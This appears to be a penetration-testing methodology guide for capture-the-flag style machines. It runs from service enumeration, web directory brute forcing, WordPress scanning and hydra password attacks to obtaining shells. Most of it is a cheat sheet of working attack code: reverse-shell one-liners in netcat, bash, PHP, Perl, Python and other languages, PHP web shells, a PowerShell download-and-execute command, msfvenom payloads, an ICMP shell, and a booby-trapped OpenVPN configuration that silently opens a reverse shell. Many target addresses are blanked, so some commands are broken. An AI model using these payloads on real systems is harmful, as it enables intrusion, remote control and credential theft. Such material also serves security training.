From Nothing to a Unprivileged Shell

At this point, we would have an idea about the different services and service version running on the system. Besides the output given by nmap. It is also recommended to check what software is being used on the webservers (e.g. certain cms’s).

Initial Enumeration


Exploit Database Archive Search

First of all, we check if the operating system and/ or the exposed services are vulnerable to exploits which are already available on the internet. For example, a vulnerable service webmin is present in one of the VMs which could be exploited to extract information from the system.

root@kali:~# nmap -sV -A
10000/tcp open  http        MiniServ 0.01 (Webmin httpd)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
| ndmp-version:
|_  ERROR: Failed to get host information from server

If we search for webmin with searchsploit, we will find different exploits available for it and we just have to use the correct one based on utility and the matching version.

root@kali:~# searchsploit webmin
Description                                                                            Path
Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit                   | /multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 Arbitrary File Disclosure Exploit (perl)            | /multiple/remote/
Webmin 1.x HTML Email Command Execution Vulnerability                                | /cgi/webapps/24574.txt

Once we have figured out which exploit to check we can read about it by using the file-number. For example: 1997, 2017, 24574 in the above case.

searchsploit -x 24674

Searchsploit provides an option to read the nmap XML file and suggest vulnerabilities (Requires nmap -sV -x xmlfile).

     --nmap     [file.xml]  Checks all results in Nmap's XML output with service version (e.g.: nmap -sV -oX file.xml).
                            Use "-v" (verbose) to try even more combinations


If we don’t manage to find an exploit for a specific version, it is recommended to check the notes of the exploits which are highlighted as they may be valid for lower versions too. For example Let’s say we are searching for exploits in Example_Software version 2.1.3. However, version 2.2.2 contains multiple vulnerablities. Reading the description for 2.2.2 we find out it’s valid for lower versions too.

SecLists.Org Security Mailing List Archive

There will be some days, when you won’t find vulnerabilities with searchsploit. In this case, we should also check the SecLists.Org Security Mailing List Archive, if someone has reported any bug(s) for that particular software that we can exploit.


It is suggested that whenever you are googling something, you add words such as vulnerability, exploit, ctf, github, python, tool etc. to your search term. For example. Let’s say, you are stuck in a docker or on a specific cms search for docker ctf or <cms_name> ctf/ github etc.


If a webserver is running on a machine, we can start with running


Utilize whatweb to find what software stack a server is running.

whatweb [200 OK] Cookies[ASP.NET_SessionId,CMSPreferredCulture,citrix_ns_id], Country[INDIA][IN], Email[], Google-Analytics[Universal][UA-6386XXXXX-2], HTML5, HTTPServer[Example Webserver], HttpOnly[ASP.NET_SessionId,CMSPreferredCulture,citrix_ns_id], IP[XXX.XX.XX.208], JQuery[1.11.0], Kentico-CMS, Modernizr, Script[text/javascript], Title[Welcome to Example Website ][Title element contains newline(s)!], UncommonHeaders[cteonnt-length,x-cache-control-orig,x-expires-orig], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=9,IE=edge]


nikto - Scans a web server for known vulnerabilities.

It will examine a web server to find potential problems and security vulnerabilities, including:

  • Server and software misconfigurations

  • Default files and programs

  • Insecure files and programs

  • Outdated servers and programs

dirb, wfuzz, dirbuster

Furthermore, we can run the following programs to find any hidden directories.

  • DIRB is a Web Content Scanner. It looks for existing (and/ or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analysing the response.

  • wfuzz - a web application bruteforcer. Wfuzz might be useful when you are looking for webpage of a certain size. For example: Let’s say, when we dirb we get 50 directories. Each directory containing an image. Often, we then need to figure out which image is different. In this case, we would figure out what’s the size of the normal image and hide that particular response with wfuzz.

  • Dirbuster : DirBuster is a multi threaded java application designed to brute force directories and files names on web/ application servers.

  • gobuster : Gobuster is a tool used to brute-force URIs (directories and files) in web sites and DNS subdomains (with wildcard support). (golang can be installed using apt-get).


Most likely, we will be using common.txt (/usr/share/wordlists/dirb/) . If it’s doesn’t find anything, it’s better to double check with /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt which is a list of directories that where found on at least 2 different hosts when DirBuster project crawled the internet. Even if that doesn’t work out, try searching with extensions such as .txt, .js, .html, .php. (.txt by default and rest application based)


If using the dirb/ wfuzz wordlist doesn’t result in any directories and the website contains a lot of text, it might be a good idea to use cewl to create a wordlist and utilize that as a dictionary to find hidden directories. Also, it sometimes make sense to dirb/wfuzz the IPAddress instead of the hostname like (Maybe found by automatic redirect)


It’s important to know that dirb shows the directories found based on the response code, so if a web-application shows 404 status code instead of 200, dirbuster would miss it. In that case, wfuzz or gobuster or Burpsuite would help as they check for response length too.

BurpSuite Spider

There will be some cases when dirb/ dirbuster doesn’t find anything. This happened with us on a Node.js web application. Burpsuite’s spider helped in finding extra-pages which contained the credentials.

Parameter Fuzz?

Sometimes, we might have a scenario where we have a website which might be protected by a WAF.


Now, this “/example” might be a php or might be accepting a GET Parameter. In that case, we probably need to fuzz it. The hardest part is that we can only find the GET parameters by fuzzing “/example” if you get some errors from the application, so the goal is to fuzz using a special char as the parameter’s value, something like: “/example?FUZZ=’ “

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "User-Agent: SomethingNotObivousforWAF" "http://IP/example?FUZZ='"

The other things which we may try is putting a valid command such as ‘ls, test’ so it becomes FUZZ=ls or FUZZ=test

PUT Method

Sometimes, it is also a good idea to check the various HTTP verbs that are available such as GET, PUT, DELETE, etc. This can be done by making an OPTIONS request.

Curl can be used to check the available options (supported http verbs):

curl -X OPTIONS -v
Connected to ( port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host:
> User-Agent: curl/7.47.0
> Accept: /
< HTTP/1.1 200 OK
< DAV: 1,2
< MS-Author-Via: DAV
< Content-Length: 0
< Date: Fri, 29 Apr 2016 09:41:19 GMT
< Server: lighttpd/1.4.28
* Connection #0 to host left intact

The PUT method allows you to upload a file which can help us to get a shell on the machine. There are multiple methods available for uploading a file with the PUT method mentioned on Detecting and exploiting the HTTP Put Method

A few are:

nmap -p 80 --script http-put --script-args http-put.url='/uploads/rootme.php',http-put.file='/tmp/rootme.php'
curl --upload-file test.txt -v --url


curl -X PUT -d '
curl -i -X PUT -H "Content-Type: application/xml; charset=utf-8" -d @"/tmp/some-file.xml" http://IPAddress/newpage
curl -X PUT -d "text or data to put" http://IPAddress/destination_page
curl -i -H "Accept: application/json" -X PUT -d "text or data to put" http://IPAddress/new_page


When faced with a website that makes use of the wordpress CMS one can run wpscan. Make sure you run --enumerate u for enumerating usernames because by default wpscan doesn’t run it. Also, scan for plugins

  --url       | -u <target url>       The WordPress URL/domain to scan.
  --force     | -f                    Forces WPScan to not check if the remote site is running WordPress.
  --enumerate | -e [option(s)]        Enumeration.
  option :
      u        usernames from id 1 to 10
      u[10-20] usernames from id 10 to 20 (you must write [] chars)
      p        plugins
      vp       only vulnerable plugins
      ap       all plugins (can take a long time)
      tt       timthumbs (vulnerability scanner)
      t        themes
      vt       only vulnerable themes
      at       all themes (can take a long time)
      Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins

      If no option is supplied, the default is "vt,tt,u,vp"
      (only vulnerable themes, timthumbs, usernames from id 1 to 10, only vulnerable plugins)

We can also use wpscan to bruteforce passwords for a given username

wpscan --url --wordlist wordlist.txt --username example_username


  • wpscan scans the themes, plugins by passive scanning, if we are not finding anything, it might be good idea to do scanning with all plugins (ap) and all themes (at). Sometimes, plugin may fake their version, so probably, good idea to readme and check for vulns.

  • If we have found a username and password of wordpress with admin privileges, we can upload a php meterpreter. One of the possible ways is to go to Appearance > Editor > Edit 404 Template.

  • The configuration of worpdress is normally speaking stored in wp-config.php. If you are able to download it, you might be lucky and be able to loot plaintext username and passwords to the database or wp-admin page.

  • If the website is vulnerable for SQL-Injection. We should be able to extract the wordpress users and their password hashes. However, if the password hash is not crackable. Probably, check the wp-posts table as it might contain some hidden posts.

  • Got wordpress credentials, maybe utilize WPTerm an xterm-like plugin. It can be used to run non-interactive shell commands from the WordPress admin dashboard.

  • If there’s a custom plugin created, it would probably be in the location



what is the (standard) format of a wp hash and where in the database is it stored? Elborate more on wp scanning and vulnerabilities?

Names? Possible Usernames & Passwords?

Sometimes, when visiting webpages, you will find possible names of the employees working in the company. It is common practice to have a username based on your first/ last name. Superkojiman has written which could be used to create possible usernames. However, after completion we are left with a large amount of potential usernames with no passwords.

If the vulnerable machine is running a SMTP mail server, we can verify if a particular username exists or not.

  • Using metasploit smtp_enum module: Once msfconsole is running, use auxiliary/scanner/smtp/smtp_enum, enter the RHOSTS (target address) and USER FILE containing the list of probable user accounts.

  • Using VRFY command:

  • Using RCPT TO command:

Once we have identified a pattern of username creation, we may modify to generate usernames and check if they exist or not.

Brute forcing: hydra

Hydra can be used to brute force login web pages

-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE  (userlist)
-p PASS  or -P FILE try password PASS, or load several passwords from FILE  (passwordlist)
-U        service module usage details
-e nsr additional checks, "n" for null password, "s" try login as pass, "r" try the reverse login as pass

hydra http-post-form:

hydra -U http-post-form
Help for module http-post-form

Module http-post-form requires the page and the parameters for the web form.

The parameters take three “:” separated values, plus optional values.

Syntax:   <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
  • First is the page on the server to send a GET or POST request to (URL).

  • Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced with the “^USER^” and “^PASS^” placeholders (FORM PARAMETERS)

  • Third is the string that it checks for an invalid login (by default). Invalid condition login check can be preceded by “F=”, successful condition login check must be preceded by “S=”. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter!

  • The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers!

  • Note:

  • ‘h’ will add the user-defined header at the end regardless it’s already being sent by Hydra or not.

  • ‘H’ will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end

  • Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.


"/:user=^USER&pass=^PASS^:failed:H=Authorization\: Basic dT1w:H=Cookie\: sessid=aaaa:h=X-User\: ^USER^"


Add a program/binary that an easier syntax, ncrack maybe? Elaborate on the examples, eg. what they will do once executed?

Reverse Shells

Once we have figured out some vulnerability or misconfiguration in a running service which allows us to make a connection back to our attack machine, we would like to set up a reverse shell. This can be done through version methods e.g. by using netcat, php, weevely, ruby, perl, python, java, jsp, bash tcp, Xterm, Lynx, Mysql. The section below has been mostly adapted from PentestMonkey Reverse shell cheat sheet and Reverse Shell Cheat sheet from HighOn.Coffee and more.

netcat (nc)

TCP Mode

with the -e option
nc -e /bin/sh 4444
without -e option
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


f in this case is a file name, if you want to have more then one reverse shell with this method you will have to use another letter (a … z) then the one you used intially.

UDP Mode

Just use the UDP Mode (-u)

nc -h
connect to somewhere:  nc [-options] hostname port[s] [ports] ...
listen for inbound:    nc -l -p port [-options] [hostname] [port]
       -l                      listen mode, for inbound connects
       -n                      numeric-only IP addresses, no DNS
       -p port                 local port number
       -u                      UDP mode


PHP Web Shell

This is a kind of Web shell and not a reverse shell.

We can create a new file say (shell.php) on the server containing

<?php system($_GET["cmd"]); ?>


<?php echo shell_exec($_GET["cmd"]); ?>


<? passthru($_GET["cmd"]); ?>

which can then be accessed by


If there’s a webpage which accepts phpcode to be executed, we can use curl to urlencode the payload and run it.

curl -G -s http://10.X.X.X/somepage.php?data= --data-urlencode "html=<?php passthru('ls -lah'); ?>" -b "somecookie=somevalue" | sed '/<html>/,/<\/html>/d'

-G When used, this option will make all data specified with -d, --data, --data-binary or --data-urlencode to be used in an HTTP GET request instead of the POST request that otherwise would be used. The data will be appended to the URL with a  '?' separator.
-data-urlencode <data> (HTTP) Posts data, similar to the other -d, --data options with the exception that this performs URL-encoding.
-b, --cookie <data> (HTTP) Passes the data to the HTTP server in the Cookie header. It is supposedly the data previously received from the server in a "Set-Cookie:" line.  The data should be in the format "NAME1=VALUE1; NAME2=VALUE2".

The sed command in the end

sed '/<html>/,/<\/html>/d'

deletes the content between <html> and </html> tag.

If you also want to provide upload functionality (imagine, if we need to upload nc64.exe on Windows or other-binaries on linux), we can put the below code in the php file

 if (isset($_REQUEST['fupload'])) {
  file_put_contents($_REQUEST['fupload'], file_get_contents("http://yourIP/" . $_REQUEST['fupload']));
 if (isset($_REQUEST['cmd'])) {
  echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";

The above can be accessed by


PHP Meterpreter

We can create a php meterpreter shell, run a exploit handler on msf, upload the payload on the server and wait for the connection.

msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw -o /tmp/payload.php

We can set the multi-handler in metasploit by

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST yourIP

PHP Reverse Shell

The code below assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4 or 5 or 6.

php -r '$sock=fsockopen("",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

The above can be connected to by listening on port 1337 by using nc.


Weevely also generates a webshell

weevely generate password /tmp/payload.php

which can then be called by

weevely password

However, it was not as useful as php meterpreter or a reverse shell.


Elobrate -> why wasn’t it useful? iirc (really not sure) if you don’t provide a password it will ask for it


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


import os,pty,socket;s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.connect(("", 4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE",'/dev/null');pty.spawn("/bin/sh");s.close()


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])


msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444 -f war > runme.war

Bash /dev/tcp

If a server (attacker machine) is listening on a port:

nc -lvp port

then we can use the below to connect

Method 1

/bin/bash -i >&/dev/tcp/IP/Port 0>&1

Method 2

exec 5<>/dev/tcp/IP/80
cat <&5 | while read line; do $line 2>&5 >&5; done

# or:

while read line 0<&5; do $line 2>&5 >&5; done

Method 3

0<&196;exec 196<>/dev/tcp/IP/Port; sh <&196 >&196 2>&196

-- We may execute the above using bash -c "Aboveline "

Information about Bash Built-in /dev/tcp File (TCP/IP)

The following script fetches the front page from Google:

exec 3<>/dev/tcp/
echo -e "GET / HTTP/1.1\r\nhost:\r\nConnection: close\r\n\r\n" >&3
cat <&3
  • The first line causes file descriptor 3 to be opened for reading and writing on the specified TCP/IP socket. This is a special form of the exec statement. From the bash man page:

exec [-cl] [-a name] [command [arguments]]

If command is not specified, any redirections take effect in the current shell, and the return status is 0. So using exec without a command is a way to open files in the current shell.

  • Second line: After the socket is open we send our HTTP request out the socket with the echo … >&3 command. The request consists of:

GET / HTTP/1.1
Connection: close

Each line is followed by a carriage-return and newline, and all the headers are followed by a blank line to signal the end of the request (this is all standard HTTP stuff).

  • Third line: Next we read the response out of the socket using cat <&3, which reads the response and prints it out.

Telnet Reverse Shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443


explain the example above


One of the simplest forms of reverse shell is an xterm session. The following command should be run on the victim server. It will try to connect back to you ( on TCP port 6001.

xterm -display

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1 -listen tcp

You’ll need to authorize the target to connect to you (command also run on your host):

xhost +targetip


Obtain an interactive shell through lynx: It is possible to obtain an interactive shell via special LYNXDOWNLOAD URLs. This is a big security hole for sites that use lynx “guest accounts” and other public services. More details LynxShell

When you start up a lynx client session, you can hit “g” (for goto) and then enter the following URL:

URL to open: LYNXDOWNLOAD://Method=-1/File=/dev/null;/bin/sh;/SugFile=/dev/null


  • If we have MYSQL Shell via sqlmap or phpmyadmin, we can use mysql outfile/ dumpfile function to upload a shell.

echo -n "<?php phpinfo(); ?>" | xxd -ps 3c3f70687020706870696e666f28293b203f3e

select 0x3c3f70687020706870696e666f28293b203f3e into outfile "/var/www/html/blogblog/wp-content/uploads/phpinfo.php"


SELECT "<?php passthru($_GET['cmd']); ?>" into dumpfile '/var/www/html/shell.php';
  • If you have sql-shell from sqlmap/ phpmyadmin, we can read files by using the load_file function.

select load_file('/etc/passwd');

Reverse Shell from Windows

If there’s a way, we can execute code from windows, we may try

  • Uploading ncat and executing it

  • Powershell Empire/ Metasploit Web-Delivery Method

  • Invoke-Shellcode (from powersploit)

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('http://YourIPAddress:8000/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost YourIPAddress -Lport 4444 -Force"


add Nishang?

MSF Meterpreter ELF

msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf -o met LHOST=10.10.XX.110 LPORT=4446

Metasploit MSFVenom

Ever wondered from where the above shells came from? Maybe try msfvenom and grep for cmd/unix

msfvenom -l payloads | grep "cmd/unix"
   cmd/unix/bind_awk                                   Listen for a connection and spawn a command shell via GNU AWK
   cmd/unix/bind_inetd                                 Listen for a connection and spawn a command shell (persistent)
   cmd/unix/bind_lua                                   Listen for a connection and spawn a command shell via Lua
   cmd/unix/bind_netcat                                Listen for a connection and spawn a command shell via netcat
   cmd/unix/bind_perl                                  Listen for a connection and spawn a command shell via perl
   cmd/unix/interact                                   Interacts with a shell on an established socket connection
   cmd/unix/reverse                                    Creates an interactive shell through two inbound connections
   cmd/unix/reverse_awk                                Creates an interactive shell via GNU AWK
   cmd/unix/reverse_python                             Connect back and create a command shell via Python
   cmd/unix/reverse_python_ssl                         Creates an interactive shell via python, uses SSL, encodes with base64 by design.
   cmd/unix/reverse_r                                  Connect back and create a command shell via R
   cmd/unix/reverse_ruby                               Connect back and create a command shell via Ruby

Now, try to check the payload

msfvenom -p cmd/unix/bind_netcat
Payload size: 105 bytes
mkfifo /tmp/cdniov; (nc -l -p 4444 ||nc -l 4444)0</tmp/cdniov | /bin/sh >/tmp/cdniov 2>&1; rm /tmp/cdniov

ICMP Shell

Sometimes, inbound and outbound traffic from any port is disallowed and only ICMP traffic is allowed. In that case, we can use Simple reverse ICMP Shell However, this requires the executable to be present on the system. There’s a powershell version of ICMP Reverse Shell Sometimes, probably, we can execute powershell code on the machine. In that case, we can use the one-liner powershell code to execute the shell.

powershell -nop -c "$ip='your_ip'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment = $true; $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes('OK'), $po); while ($true) { $ry = $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes(''), $po); if ($ry.Buffer) { $rs = ([text.encoding]::ASCII).GetString($ry.Buffer); $rt = (Invoke-Expression -Command $rs | Out-String ); $ic.Send($ip,60*1000,([text.encoding]::ASCII).GetBytes($rt),$po); } }"

The above code is basically a reduced version of the powershell version of ICMP and have a limited buffer (which means commands whose output is greater than the buffer, won’t be displayed!). Now, there’s a painful way of transferring files to the victim system which is

  • Convert the file/ code which needs to be transferred in to base64. (If possible, remove all the unnecessary code/ comments, this would help us to reduce the length of the base64). Do make sure that your base64 when converted back is correct! Refer PowerShell –EncodedCommand and Round-Trips

  • Utilize the Add-Content cmdlet to transfer the file to the victim system. Do, remember to transfer the data in chunks as we have limited buffer! Probably, we have to run the below command twice or thrice to transfer the whole base64-encoded chunk.

Add-Content <filename> "Base64 encoded content"
  • Once the base64-encoded data is transferred, we can utilize certutil from Microsoft to decode the base64-encoded to normal file.

certutil <-decode/ -encode> <input file> <output file>
-decode Decode a Base64-encoded file
-encode Encode a file to Base64
  • Now, we can execute the file (assuming powershell ps1 file) to get the full powershell ICMP reverse shell with buffer management so, we would be able to get full output of the commands.

  • Now, most of the time after getting the intial shell, probably, we would have figured out user credentials ( let’s say from www-data or iisapppool user to normal/ admin user credentials. ) At this point of time, we can use the below code to create a PSCredential.

$username = 'UsernameHere';
$password = 'PasswordHere';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
  • Once, we have created a PSCredential, we can use Invoke-Command to execute command as that user.

    Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock {Command to be executed}
    -ComputerName localhost is required as the code is to be executed on localhost, without -ComputerName, InvokeCommand doesn't work.
  • Possibly, we can execute the ICMP Shell code to get the shell as the new user.

  • One problem, which we gonna face is, when we are running ICMP Shell with different users for example, first with IISWebpool, then with User1, then with user2, we would get multple times IISWebpool as that powershell process (on UDP) is still running. One way to this is Just before launching a new ICMP shell as a different user.

    • Check powershell processes with Show-Process

    Show-Process -Name *power* "
    • Note down the PID

    • Execute shell as the different user

    • Stop-Process the previous PID

SSH Tunneling

SSH protocol, which supports bi-directional communication channels can create encrypted tunnels.

Local Port Forwarding

SSH local port forwarding allows us to tunnel a local port to a remote server, using SSH as the transport protocol.

ssh sshserver -L <local port to listen>:<remote host>:<remote port>


Imagine we’re on a private network which doesn’t allow connections to a specific server. Let’s say you’re at work and youtube is being blocked. To get around this we can create a tunnel through a server which isn’t on our network and thus can access Youtube.

$ ssh -L

The key here is -L which says we’re doing local port forwarding. Then it says we’re forwarding our local port 9000 to, which is the default port for HTTP. Now open your browser and go to http://localhost:9000


-L [bind_address:]port:host:hostport
-L [bind_address:]port:remote_socket
-L local_socket:host:hostport
-L local_socket:remote_socket
        Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side.  This works by allocating a socket to listen to either a TCP port on
        the local side, optionally bound to the specified bind_address, or to a Unix socket.  Whenever a connection is made to the local port or socket, the connection is forwarded over the secure channel, and a connection is made to either host port
        hostport, or the Unix socket remote_socket, from the remote machine.

        Port forwardings can also be specified in the configuration file.  Only the superuser can forward privileged ports.  IPv6 addresses can be specified by enclosing the address in square brackets.

        By default, the local port is bound in accordance with the GatewayPorts setting.  However, an explicit bind_address may be used to bind the connection to a specific address.  The bind_address of “localhost” indicates that the listening port be
        bound for local use only, while an empty address or ‘*’ indicates that the port should be available from all interfaces.

To share a interesting case, Let’s say there’s a host which is running port 22 on all interfaces and port 8080 and 8081 (or any other port) on local loopback interface (, something like

tcp4       0      0 *.ssh                  *.*                    LISTEN
tcp6       0      0 *.ssh                  *.*                    LISTEN
tcp4       0      0 localhost.8080         *.*                    LISTEN
tcp4       0      0 localhost.8081         *.*                    LISTEN

Now, webserver on port 8080 and 8081 are running on localhost, if we have ssh access to the machine, we can tunnel them via local port forwarding and run it on the ethernet interface.

ssh -L IP_Address_of_Machine:<Port-which-we-want-to-open-Let's say-9000>:<localhost-port-which-we-want-to-map-let's-say-8080> user@IP_Address_of_Machine

It would become

ssh -L user@ and
ssh -L user@

The above would open port 9000 and 9001 (on the external interface) and map it to port 8080 and 8081(which were running on local/ loopback interface).

Remote Port Forwarding

SSH remote port forwarding allows us to tunnel a remote port to a local server.

ssh sshserver -R <remote port to bind>:<local host>:<local port>


Let’s say there’s a wordpress web-application we have compromised and have a www-data shell. Also, let’s say, we are inside a docker environment with the network below Host-Machine WordPress Joomla Mysql

Now, Let’s say, we have root credentials of mysql and want to access it using dbeaver application. Now, as we have access of wordpress machine, we can basically ssh to our machine (Let’s say our IP is, creating a Remote Port Forward

ssh bitvijays@ -R 3306:

The above would create a ssh tunnel between and Then, we would be able to just launch dbeaver and connect to localhost mysql and browse the database at

As we would be probably inside the docker and www-data user, we might not have ssh binary and proper environment variable in that case, we can add below options

./ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKnownHostsFile=/dev/null -v -i id_rsa -R 3306: -fN bitvijays@

SSH as SOCKS Proxy

We can use ssh to have a socks proxy to connect to vnc, ssh, rdp if vm is hosting in another vm and then use remmina to access VNC.

ssh -D localhost:9050 user@host

-D [bind_address:]port Specifies a local “dynamic” application-level port forwarding.  This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address.  Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine.  Currently the SOCKS4 and SOCKS5 protocols are supported, and ssh will act as a SOCKS server.  Only root can forward privileged ports. Dynamic port forwardings can also be specified in the configuration file.


proxychains4 remmina/ rdesktop

VPN-like tunnelling?

sshuttle Transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin. Works with Linux and MacOS. Supports DNS tunneling.

So if we have a access to device at, and it also has an interface on with other hosts behind it, we can run:

# sshuttle -r root@
root@'s password:
client: Connected.

This creates a VPN-like connection, allowing me to visit in a browser or with curl, and see the result.

Probably, nmap won’t be a good idea to run over sshuttle, however, it is a very nice way to interact with a host over a tunnel.


To copy all from Local Location to Remote Location (Upload)

scp -r /path/from/destination username@hostname:/path/to/destination

To copy all from Remote Location to Local Location (Download)

scp -r username@hostname:/path/from/destination /path/to/destination


  • -r Recursively copy all directories and files

  • Always use full location from /, Get full location by pwd

  • scp will replace all existing files

  • hostname will be hostname or IP address

  • If custom port is needed (besides port 22) use -P portnumber

  • . (dot) - it means current working directory, So download/copy from server and paste here only.

OpenVPN Configuration File Reverse Shell?

Taken from Reverse Shell from an OpenVPN Configuration File

An ovpn file is a configuration file provided to the OpenVPN client or server. The file details everything about the VPN connection: which remote servers to connect to, the crypto to use, which protocols, the user to login as, etc.

At its most simple form, an ovpn file looks like the this:

dev tun

This directs the client to connect to the server at without authentication or encryption and establish the tun interface for communication between the client ( and the server (

The OpenVPN configuration feature is important is the up command. This is how the manual describes it:

Run command cmd after successful TUN/TAP device open (pre — user UID change).
cmd consists of a path to script (or executable program), optionally followed by arguments. The path and arguments may be single- or double-quoted and/or escaped using a backslash, and should be separated by one or more spaces.

Basically, the up command will execute any binary of script you point it to


If the victim is using a version of Bash that supports /dev/tcp then getting a reverse shell is trivial. The following ovpn file will background a reverse shell to

dev tun
script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/ 0<&1 2>&1 &'"

When this ovpn file is used it won’t be obvious to the user that something is wrong. The VPN connection is established normally and traffic flows. There are only two indications in the log that perhaps something is afoot.

Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts
Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!

Even if the the user does see these log entries a reverse shell has already been established with our listener on

albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [] (family 0, port 8181)
Connection from [] port 8181 [tcp/*] accepted (family 2, sport 54836)
root@client:/home/client/openvpn# id
uid=0(root) gid=0(root) groups=0(root)


Windows doesn’t have an analogous /dev/tcp feature. We’ll have to work a little harder to generate a reverse shell from a Windows host.

Fortunately, Dave Kennedy of TrustedSec wrote a small powershell reverse shell that we can use. Using powershell.exe’s -EncodedCommand parameter we can pass the entire script on the command line. First, however, we’ll need to base64 encode the script to avoid having to insert escapes. Our old friend Carlos Perez has a script called that will do the encoding for us.

However, there is a problem. The encoded reverse shell script is over 4000 characters long and OpenVPN has a 256 character limitation. To get around this we can use the setenv command to split up the script and then recombine it in the up command. Consider the following ovpn file:

dev tun
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
up 'C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||'

We can see the encoded script has been split over a setenv commands. At the very end, the script just runs all the environment variables together.


albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [] (family 0, port 8181)
Connection from [] port 8181 [tcp/*] accepted (family 2, sport 51082)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.

Using untrusted ovpn files is dangerous. You are allowing a stranger to execute arbitrary commands on your computer. Some OpenVPN compatible clients like Viscosity and Ubuntu’s Network Manager GUI disable this behavior.

Spawning a TTY Shell

Once we have reverse shell, we need a full TTY session by using either Python, sh, perl, ruby, lua, IRB. Spawning a TTY Shell and Post-Exploitation Without A TTY have provided multiple ways to get a tty shell


python -c 'import pty; pty.spawn("/bin/sh")'


python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import os; os.system("/bin/bash")'


/bin/sh -i


perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";


ruby: exec "/bin/sh"


lua: os.execute('/bin/sh')


(From within IRB)

exec "/bin/sh"


(From within vi)


(From within vi)

:set shell=/bin/bash:shell

Also, if we execute

vi ;/bin/bash

Once, we exit vi, we would get shell. Helpful in scenarios where the user is asked to input which file to open.


(From within nmap)



Using “Expect” To Get A TTY

$ cat sh.exp
# Spawn a shell, then allow the user to interact with it.
# The new shell will have a good enough TTY to run tools like ssh, su and login
spawn sh

Sneaky Stealthy SU in (Web) Shells

